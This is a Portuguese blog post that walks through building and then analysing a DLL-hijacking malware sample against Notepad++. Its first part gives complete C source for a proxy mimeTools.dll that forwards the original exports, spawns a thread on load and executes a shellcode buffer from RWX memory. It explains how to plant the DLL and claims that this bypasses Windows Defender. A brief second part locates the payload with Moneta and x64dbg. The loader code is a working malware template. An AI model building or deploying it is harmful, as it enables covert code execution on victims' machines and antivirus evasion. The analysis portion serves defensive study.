Análise de Malware 2


Posted Apr 23, 2024. 4 min read


Neste post eu vou criar e analisar um malware simples, para isso vamos estar "sequestrando" uma Dll do Notepad++.


⚠️ As informações que você encontrar neste post, técnicas, códigos, provas de conceito ou qualquer outra coisa são estritamente para fins educacionais.

Criação do Malware

Para sequestrar a DLL do Notepad++, primeiro precisamos identificar quais DLLs presentes nos arquivos do Notepad++ são carregadas assim que o programa é aberto.
Para isso podemos utilizar o ProcessMonitor, a única coisa que precisamos fazer no ProcessMonitor é colocar que o nome do processo que queremos analisar que é o notepad++.exe
Após isso apenas temos que executar o arquivo para ver o que o ProcessMonitor nos informa:


ProcessMonitor


Como podemos ver, a Dll chamada mimeTools esta sendo carregada então vamos olhar as funções que essa Dll exporta, para isso podemos utilizar o PE-Bear:


PE-Bear


Como podemos ver, a mimeTools.dll exporta 6 funções então vamos copiar elas para utilizar no nosso código:


#include <stdio.h>
#include <stdlib.h>

#define _CRT_SECURE_NO_DEPRECATE
#pragma warning(disable : 4996)

#pragma comment(linker, "/export:beNotified=original.beNotified,@1")
#pragma comment(linker, "/export:getFuncsArray=original.getFuncsArray,@2")
#pragma comment(linker, "/export:getName=original.getName,@3")
#pragma comment(linker, "/export:isUnicode=original.isUnicode,@4")
#pragma comment(linker, "/export:messageProc=original.messageProc,@5")
#pragma comment(linker, "/export:setInfo=original.setInfo,@6")

void LoadShellcodeIntoMemory() {

	unsigned char Shellcode[176] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };


    size_t size = sizeof(Shellcode);

    void* exec = VirtualAlloc(0, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (exec != NULL) {
        memcpy(exec, Shellcode, size);
        ((void(*)())exec)();
    }
}

DWORD WINAPI DoMagic(LPVOID lpParameter)
{
    LoadShellcodeIntoMemory();

    return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD ul_reason_for_call,
    LPVOID lpReserved
)
{
    HANDLE threadHandle;

    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:

        threadHandle = CreateThread(NULL, 0, DoMagic, NULL, 0, NULL);
        CloseHandle(threadHandle);
        break;

    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }

    return TRUE;
}

Bom agora a única coisa que vamos precisar fazer é renomear nosso DllProxy.dll para mimeTools.dll e renomear a mimeTools.dll para original.dll, e pronto agora quando executarmos o Notepad++.exe ele vai carregar nossa dll maliciosa, vamos testar isso:


Notepad++


Como podemos observar, além de funcionar perfeitamente, contornamos o Windows-Defender.

Análise do Malware

Para encontrar esse malware vou estar utilizando o Moneta e o x64dbg.

Vamos então executar o Notepad++ e analisar o processo do Notepad++com o Moneta:


Moneta


Agora pegamos o endereço de memória que o moneta nos entregou, e no X64.dbg anexamos o Notepad++, para ir para esse endereço de memória entregue pelo Monteta, então seguimos no despejo do x64dbg para poder então dumpar o conteudo para poder analisar com o VirusTotal:


X64.dbg

VirtusTotal


Por fim, concluímos mais uma análise de malware simples, utilizando ferramentas que podem ser muito úteis em casos específicos.